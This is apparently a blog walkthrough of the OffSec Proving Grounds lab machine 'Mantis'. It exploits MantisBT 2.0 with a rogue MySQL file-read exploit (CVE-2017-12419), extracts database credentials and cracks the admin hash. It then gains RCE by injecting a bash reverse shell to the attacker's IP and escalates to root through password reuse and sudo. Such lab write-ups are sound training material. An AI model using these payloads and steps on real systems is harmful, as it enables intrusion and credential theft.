Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - MANTIS

·3303 words·16 mins·
OFFSEC PG PRACTICE GOBUSTER MANTISBT MYSQL PSPY
Table of Contents

Summary
#

Using gobuster on port 80 reveals a /bugtracker directory. In it an application called MantisBT 2.0 is running. By using a known arbitrary file read exploit (CVE-2017-12419) we can read files on the target, including a configuration file that contain MySQL credentials. Once on MySQL server we find a hash of the administrator user. Using CrackStation we crack the hash, log into the Mantis application and get initial access as the www-data user by abusing an RCE bug. Once on the target there is a mysqldump process running with credentials. Because of password reuse we can switch to the mantis user and escalate our privileges using sudo to the root user.

Specifications
#

  • Name: MANTIS
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux mantis 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.209.204
  • OFFSEC provided credentials: None
  • HASH: local.txt:84ab37e90f888b93284cee89ec88de65
  • HASH: proof.txt:22b27e25fbd4d338d0677dc987c5f760

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir mantis && cd mantis && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 30 13:15 .
drwxrwxr-x 46 kali kali 4096 Aug 30 13:15 ..
drwxrwxr-x  2 kali kali 4096 Aug 30 13:15 enum
drwxrwxr-x  2 kali kali 4096 Aug 30 13:15 exploits
drwxrwxr-x  2 kali kali 4096 Aug 30 13:15 files
drwxrwxr-x  2 kali kali 4096 Aug 30 13:15 tools
drwxrwxr-x  2 kali kali 4096 Aug 30 13:15 uploads

## set bash variable
ip=192.168.209.204

## ping target to check if it's online
ping $ip

PING 192.168.209.204 (192.168.209.204) 56(84) bytes of data.
64 bytes from 192.168.209.204: icmp_seq=1 ttl=61 time=18.7 ms
64 bytes from 192.168.209.204: icmp_seq=2 ttl=61 time=18.5 ms
^C
--- 192.168.209.204 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 18.479/18.579/18.679/0.100 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.209.204:80
Open 192.168.209.204:3306
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-30 13:19 CEST
Initiating Ping Scan at 13:19
Scanning 192.168.209.204 [4 ports]
Completed Ping Scan at 13:19, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:19
Completed Parallel DNS resolution of 1 host. at 13:19, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:19
Scanning 192.168.209.204 [2 ports]
Discovered open port 3306/tcp on 192.168.209.204
Discovered open port 80/tcp on 192.168.209.204
Completed SYN Stealth Scan at 13:19, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.209.204
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-30 13:19:59 CEST for 0s

PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack ttl 61
3306/tcp open  mysql   syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
80/tcp   open  http    syn-ack ttl 61
3306/tcp open  mysql   syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
80,3306

## use this output in the `nmap` command below:
sudo nmap -T3 -p 80,3306 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 6DC825C260AFEEA86DFCFEE3B99F13BF
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Slick - Bootstrap 4 Template
3306/tcp open  mysql   syn-ack ttl 61 MariaDB 5.5.5-10.3.34
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.34-MariaDB-0ubuntu0.20.04.1
|   Thread ID: 20
|   Capabilities flags: 63486
|   Some Capabilities: ODBCClient, Support41Auth, ConnectWithDatabase, LongColumnFlag, FoundRows, IgnoreSigpipes, Speaks41ProtocolOld, SupportsLoadDataLocal, SupportsTransactions, DontAllowDatabaseTableColumn, InteractiveClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: Y#BbH#p1@-_x]I6pU7Ry
|_  Auth Plugin Name: mysql_native_password

Initial Access
#

80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 6DC825C260AFEEA86DFCFEE3B99F13BF
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Slick - Bootstrap 4 Template

3306/tcp open  mysql   syn-ack ttl 61 MariaDB 5.5.5-10.3.34
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.34-MariaDB-0ubuntu0.20.04.1
|   Thread ID: 20
|   Capabilities flags: 63486
|   Some Capabilities: ODBCClient, Support41Auth, ConnectWithDatabase, LongColumnFlag, FoundRows, IgnoreSigpipes, Speaks41ProtocolOld, SupportsLoadDataLocal, SupportsTransactions, DontAllowDatabaseTableColumn, InteractiveClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: Y#BbH#p1@-_x]I6pU7Ry
|_  Auth Plugin Name: mysql_native_password

Visiting URL: http://192.168.209.204/, shows us a website called Slick.

But this doesn’t have much functionality to exploit, so let’s do a gobuster.

## running `gobuster` on port 80
gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.209.204:80/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/js                   (Status: 301) [Size: 315] [--> http://192.168.209.204/js/]
/fonts                (Status: 301) [Size: 318] [--> http://192.168.209.204/fonts/]
/server-status        (Status: 403) [Size: 280]
/css                  (Status: 301) [Size: 316] [--> http://192.168.209.204/css/]
/img                  (Status: 301) [Size: 316] [--> http://192.168.209.204/img/]
/bugtracker           (Status: 301) [Size: 323] [--> http://192.168.209.204/bugtracker/]
<SNIP>

Among the found directories, there is a directory called bugtracker. When we visit this URL in the browser (http://192.168.209.204/bugtracker) we get redirected to: http://192.168.209.204/bugtracker/login_page.php, an application called: MantisBT (https://github.com/mantisbt/mantisbt).

But what version of this application is running? Looking at the github page of this product, there should be a doc directory. We could also find this using gobuster within the /bugtracker/ directory.

## using `gobuster` in the `bugtracker` directory to find subdirectories
gobuster dir -t 100 -u http://$ip:80/bugtracker/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80-bugtracker
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.209.204:80/bugtracker/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 329] [--> http://192.168.209.204/bugtracker/admin/]
/scripts              (Status: 301) [Size: 331] [--> http://192.168.209.204/bugtracker/scripts/]
/plugins              (Status: 301) [Size: 331] [--> http://192.168.209.204/bugtracker/plugins/]
/css                  (Status: 301) [Size: 327] [--> http://192.168.209.204/bugtracker/css/]
/images               (Status: 301) [Size: 330] [--> http://192.168.209.204/bugtracker/images/]
/js                   (Status: 301) [Size: 326] [--> http://192.168.209.204/bugtracker/js/]
/config               (Status: 301) [Size: 330] [--> http://192.168.209.204/bugtracker/config/]
/api                  (Status: 301) [Size: 327] [--> http://192.168.209.204/bugtracker/api/]
/lang                 (Status: 301) [Size: 328] [--> http://192.168.209.204/bugtracker/lang/]
/library              (Status: 301) [Size: 331] [--> http://192.168.209.204/bugtracker/library/]
/doc                  (Status: 301) [Size: 327] [--> http://192.168.209.204/bugtracker/doc/]
/core                 (Status: 301) [Size: 328] [--> http://192.168.209.204/bugtracker/core/]
/fonts                (Status: 301) [Size: 329] [--> http://192.168.209.204/bugtracker/fonts/]
/vendor               (Status: 301) [Size: 330] [--> http://192.168.209.204/bugtracker/vendor/]
<SNIP>

Visiting this URL in browser http://192.168.209.204/bugtracker/doc/ gives us a directory listing. Clicking around gets us a PDF (http://192.168.209.204/bugtracker/doc/en-US/Admin_Guide/MantisBT-2.0-Admin_Guide-en-US.pdf) where it says MantisBT 2.0.

Looking at the admin warning on the login screen, it looks like a new installation of this application. Reviewing this URL (https://mantisbt.org/docs/master/en-US/Admin_Guide/html-desktop/#admin.install.new), there could be a installation script on this location (translated to our content): http://192.168.209.204/bugtracker/admin/install.php, and there is.

Searching the internet for an exploit, we can find this issue: https://mantisbt.org/bugs/view.php?id=23173, with this exploit: https://github.com/allyshka/Rogue-MySql-Server/blob/master/roguemysql.php. It’s a arbitrary file read exploit (CVE-2017-12419). First we download the exploit, get our local IP address and run the exploit to setup a rogue MySQL server. Once setup, we can abuse the install.php to connect to our rogue MySQL server and read arbitrary files on the target. In this example we try to read the /etc/passwd file. And indeed we can read this file.

## change directory
cd exploits

## download the exploit
wget https://raw.githubusercontent.com/allyshka/Rogue-MySql-Server/refs/heads/master/roguemysql.php

## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::5094:2f91:6b35:4a28/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever


## run the exploit using `php`, enter the filename to read, example `/etc/passwd`
php roguemysql.php
Enter filename to get [/etc/passwd] > /etc/passwd
[.] Waiting for connection on 0.0.0.0:3306

## in the browser send the trigger to connect to our rogue MySQL server
http://192.168.209.204/bugtracker/admin/install.php?install=3&hostname=192.168.45.204

## receive the file `/etc/passwd`
php roguemysql.php
Enter filename to get [/etc/passwd] > /etc/passwd
[.] Waiting for connection on 0.0.0.0:3306
[+] Connection from 192.168.209.204:53196 - greet... auth ok... some shit ok... want file... 
[+] /etc/passwd from 192.168.209.204:53196:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mantis:x:1000:1000::/home/mantis:/bin/bash

Now let’s try to read the config_inc.php file we’ve seen in the http://192.168.209.204/bugtracker/admin/install.php output. According to the MantisBT github page (https://github.com/mantisbt/mantisbt/tree/master/config), it should be at this location (translated to our context): /var/www/html/bugtracker/config/config_inc.php

## start the exploit and enter the file we want: `/var/www/html/bugtracker/config/config_inc.php`
php roguemysql.php
Enter filename to get [/etc/passwd] > /var/www/html/bugtracker/config/config_inc.php
[.] Waiting for connection on 0.0.0.0:3306

## in the browser send the trigger to connect to our rogue MySQL server
http://192.168.209.204/bugtracker/admin/install.php?install=3&hostname=192.168.45.204

## receive the file
php roguemysql.php
Enter filename to get [/etc/passwd] > /var/www/html/bugtracker/config/config_inc.php
[.] Waiting for connection on 0.0.0.0:3306
[+] Connection from 192.168.209.204:53204 - greet... auth ok... some shit ok... want file... 
[+] /var/www/html/bugtracker/config/config_inc.php from 192.168.209.204:53204:
<?php
$g_hostname               = 'localhost';
$g_db_type                = 'mysqli';
$g_database_name          = 'bugtracker';
$g_db_username            = 'root';
$g_db_password            = 'SuperSequelPassword';

$g_default_timezone       = 'UTC';

$g_crypto_master_salt     = 'OYAxsrYFCI+xsFw3FNKSoBDoJX4OG5aLrp7rVmOCFjU=';

We got MySQL credentials of root:SuperSequelPassword. Let’s try to use these to log into MySQL on port 3306. Use the --skip-ssl option to disable SSL. Indeed, we can connect to the MySQL server. Once connected to the bugtracker database, we find a hash (c7870d0b102cfb2f4916ff04e47b5c6f) of the administrator user in the mantis_user_table.

## run mysql as `root` user, type password when asked: `SuperSequelPassword`
mysql -u root -h $ip -P 3306 -p --skip-ssl
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 318
Server version: 10.3.34-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 

## list all databases
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| bugtracker         |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.020 sec)

## switch to `bugtracker` database
MariaDB [(none)]> use bugtracker;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

## list all tables in `bugtracker` database
MariaDB [bugtracker]> show tables;
+-----------------------------------+
| Tables_in_bugtracker              |
+-----------------------------------+
| mantis_api_token_table            |
| mantis_bug_file_table             |
| mantis_bug_history_table          |
| mantis_bug_monitor_table          |
| mantis_bug_relationship_table     |
| mantis_bug_revision_table         |
| mantis_bug_table                  |
| mantis_bug_tag_table              |
| mantis_bug_text_table             |
| mantis_bugnote_table              |
| mantis_bugnote_text_table         |
| mantis_category_table             |
| mantis_config_table               |
| mantis_custom_field_project_table |
| mantis_custom_field_string_table  |
| mantis_custom_field_table         |
| mantis_email_table                |
| mantis_filters_table              |
| mantis_news_table                 |
| mantis_plugin_table               |
| mantis_project_file_table         |
| mantis_project_hierarchy_table    |
| mantis_project_table              |
| mantis_project_user_list_table    |
| mantis_project_version_table      |
| mantis_sponsorship_table          |
| mantis_tag_table                  |
| mantis_tokens_table               |
| mantis_user_pref_table            |
| mantis_user_print_pref_table      |
| mantis_user_profile_table         |
| mantis_user_table                 |
+-----------------------------------+
32 rows in set (0.017 sec)

## get details on `mantis_user_table` table
MariaDB [bugtracker]> describe mantis_user_table;
+-----------------------------+------------------+------+-----+---------+----------------+
| Field                       | Type             | Null | Key | Default | Extra          |
+-----------------------------+------------------+------+-----+---------+----------------+
| id                          | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| username                    | varchar(191)     | NO   | UNI |         |                |
| realname                    | varchar(191)     | NO   |     |         |                |
| email                       | varchar(191)     | NO   | MUL |         |                |
| password                    | varchar(64)      | NO   |     |         |                |
| enabled                     | tinyint(4)       | NO   | MUL | 1       |                |
| protected                   | tinyint(4)       | NO   |     | 0       |                |
| access_level                | smallint(6)      | NO   | MUL | 10      |                |
| login_count                 | int(11)          | NO   |     | 0       |                |
| lost_password_request_count | smallint(6)      | NO   |     | 0       |                |
| failed_login_count          | smallint(6)      | NO   |     | 0       |                |
| cookie_string               | varchar(64)      | NO   | UNI |         |                |
| last_visit                  | int(10) unsigned | NO   |     | 1       |                |
| date_created                | int(10) unsigned | NO   |     | 1       |                |
+-----------------------------+------------------+------+-----+---------+----------------+
14 rows in set (0.020 sec)

## select specific columns from this table
MariaDB [bugtracker]> select id, username, email, password from mantis_user_table;
+----+---------------+----------------+----------------------------------+
| id | username      | email          | password                         |
+----+---------------+----------------+----------------------------------+
|  1 | administrator | root@localhost | c7870d0b102cfb2f4916ff04e47b5c6f |
+----+---------------+----------------+----------------------------------+
1 row in set (0.018 sec)

Using CrackStation (https://crackstation.net/) we are able to crack the hash to these following credentials: administrator:prayingmantis.

Finally, we can login (http://192.168.209.204/bugtracker/login_page.php) using these credentials (administrator:prayingmantis) in the MantisBT application.

Searching the internet again for a RCE for this version of MantisBT we can find: https://mantisbt.org/bugs/view.php?id=26091. In this issue, there are steps provided to reproduce the RCE. So, let’s do this. Navigate to Manage / Manage Configuration / Configuration Report. Once on this page, scroll down and in the Create Configuration Option frame, enter in the text field at: Configuration Option, relationship_graph_enable and in the text field at Value, 1. Next, click on the Create Configuration Option.

Before continuing we first need to get our local IP address on tun0 and setup a listener.

## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::5094:2f91:6b35:4a28/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup a listener
nc -lvnp 80
listening on [any] 80 ...

Let’s continue. As shown in the image below, the database configuration has been added. Now create a new one. Enter in the text field at: Configuration Option, dot_tool and in the text field at Value, bash -c 'bash -i >& /dev/tcp/192.168.45.204/80 0>&1';. Next, click on the Create Configuration Option.

Once done, there should be two entries.

As described in the issue we can trigger this remote command execution by going to this URL (translated to our context): http://192.168.209.204/bugtracker/workflow_graph_img.php. Once triggered, we get initial access as the www-data user on the /var/www/html/bugtracker directory.

## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.209.204] 57212
bash: cannot set terminal process group (1216): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mantis:/var/www/html/bugtracker$ 

## find `local.txt` on the filesystem
www-data@mantis:/var/www/html/bugtracker$ find / -iname 'local.txt' 2>/dev/null
/home/mantis/local.txt

## print `local.txt`
www-data@mantis:/var/www/html/bugtracker$ cat /home/mantis/local.txt
84ab37e90f888b93284cee89ec88de65

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
www-data@mantis:/var/www/html/bugtracker$ export TERM=xterm
www-data@mantis:/var/www/html/bugtracker$ stty columns 200 rows 200

In the /home/mantis/ directory there is a subdirectory called db_backups. In it, there is a script called backup.sh which we cannot access. Perhaps a process is running that runs this script. Let’s run pspy64 to see what’s running on the target. Download and upload pspy to the target and run it to see if there are processes running that we can abuse. Go to: https://github.com/DominicBreuker/pspy, click on releases and select pspy64. Move the file to the uploads directory, startup a local webserver and on the target, download pspy64 and run it.

## change directory
cd uploads

## move the file from the local downloads directory to the uploads directory
mv ~/Downloads/pspy64 . 

## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::5094:2f91:6b35:4a28/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on the target
## change directory
www-data@mantis:/home/mantis$ cd /var/tmp
www-data@mantis:/var/tmp$ 

## download pspy64 using wget
www-data@mantis:/var/tmp$ wget http://192.168.45.204/pspy64
--2025-08-30 14:30:29--  http://192.168.45.204/pspy64
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                                              0%[                                                                          pspy64                                             52%[========================================================>                 pspy64                                            100%[=============================================================================================================>]   2.96M  12.3MB/s    in 0.2s    

2025-08-30 14:30:29 (12.3 MB/s) - 'pspy64' saved [3104768/3104768]

## set execution bit
www-data@mantis:/var/tmp$ chmod +x pspy64 

## run pspy64
www-data@mantis:/var/tmp$ ./pspy64 

The output of pspy64 shows a password BugTracker007 being used in a mysqldump command.

## output `pspy64`
www-data@mantis:/var/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2025/08/30 14:31:01 CMD: UID=1000  PID=10453  | mysqldump -u bugtracker -pBugTracker007 bugtracker 
2025/08/30 14:31:01 CMD: UID=1000  PID=10452  | bash /home/mantis/db_backups/backup.sh 
2025/08/30 14:31:01 CMD: UID=1000  PID=10451  | /bin/sh -c bash /home/mantis/db_backups/backup.sh

Perhaps password reuse is in play. Let’s see which users there are on the target and have a shell. Indeed, we can switch to the mantis user, using the password BugTracker007. Printing the sudo privileges of the mantis user, we can see this user can run all commands with sudo, including switching to the root user and escalate our privileges.

## print users with a shell
www-data@mantis:/var/tmp$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mantis:x:1000:1000::/home/mantis:/bin/bash

## switch user to `mantis`
www-data@mantis:/var/tmp$ su mantis
Password: 
mantis@mantis:/var/tmp$ 

## list sudo privileges of the `mantis` user
mantis@mantis:/var/tmp$ sudo -l
[sudo] password for mantis: 
Matching Defaults entries for mantis on mantis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mantis may run the following commands on mantis:
    (ALL : ALL) ALL

## switch to `root` user, using sudo
mantis@mantis:/var/tmp$ sudo su -
root@mantis:~#

## print `proof.txt`
root@mantis:~# cat /root/proof.txt
22b27e25fbd4d338d0677dc987c5f760

References
#

[+] https://github.com/mantisbt/mantisbt
[+] https://mantisbt.org/docs/master/en-US/Admin_Guide/html-desktop/#admin.install.new
[+] https://mantisbt.org/bugs/view.php?id=23173
[+] https://github.com/allyshka/Rogue-MySql-Server/blob/master/roguemysql.php
[+] https://raw.githubusercontent.com/allyshka/Rogue-MySql-Server/refs/heads/master/roguemysql.php
[+] https://github.com/mantisbt/mantisbt/tree/master/config
[+] https://crackstation.net/
[+] https://mantisbt.org/bugs/view.php?id=26091
[+] https://github.com/DominicBreuker/pspy

Related

OFFSEC - Proving Grounds - BITFORGE
·4120 words·20 mins
OSCP OFFSEC PG PRACTICE SIMPLE ONLINE PLANNING GIT GIT-DUMPER MYSQL PSPY FLASK
Git on port 80 leaks MySQL credentials. RCE in Simple Planning v1.52.01 for initial access, with pspy64 find jack’s credentials and changing flask script escalates to root.
OFFSEC - Proving Grounds - APEX
·2792 words·14 mins
OFFSEC PG PRACTICE OPENEMR MYSQL FILEMANAGER GOBUSTER
Exploit filemanager vuln on port 80 for OpenEMR SQL creds. Login to MySQL, get admin hash for app access. Use app exploit for initial access, reuse password for root escalation.
OFFSEC - Proving Grounds - FRACTAL
·3258 words·16 mins
OFFSEC PG PRACTICE SYMFONY PROFILER PROFTPD MYSQL SSH-KEYGEN
Exploit Symfony 3.4.46 on port 80 via /_fragment RCE for initial access. Use MySQL creds from proftpd to add benoit user, log in via FTP, add SSH key, and escalate to root with sudo.
OFFSEC - Proving Grounds - VMDAK
·3176 words·15 mins
OSCP OFFSEC PG PRACTICE PRISON MANAGEMENT SYSTEM MYSQL CHISEL JENKINS BURP
Prison management system on port 9443 vulnerable to SQL injection & RCE once initial access got MySQL creds and SSH in. Using port forward on 8080 we can exploit Jenkins (CVE-2024-23897) for root.
OFFSEC - Proving Grounds - OCHIMA
·1818 words·9 mins
OSCP OFFSEC PG PRACTICE MALTRAIL PSPY
Maltrail 0.52 on port 8338 allows unauthenticated RCE, granting initial access. Exploit /var/backups/etc_Backup.sh as it’s run by root every minute, to escalate to root privileges.
OFFSEC - Proving Grounds - ZIPPER
·1811 words·9 mins
OSCP OFFSEC PG PRACTICE PHPWRAPPER PSPY
Zipper website on port 80 allows file uploads. Use ZIP PHP wrapper for initial access and escalate to root via /opt/backup.sh script.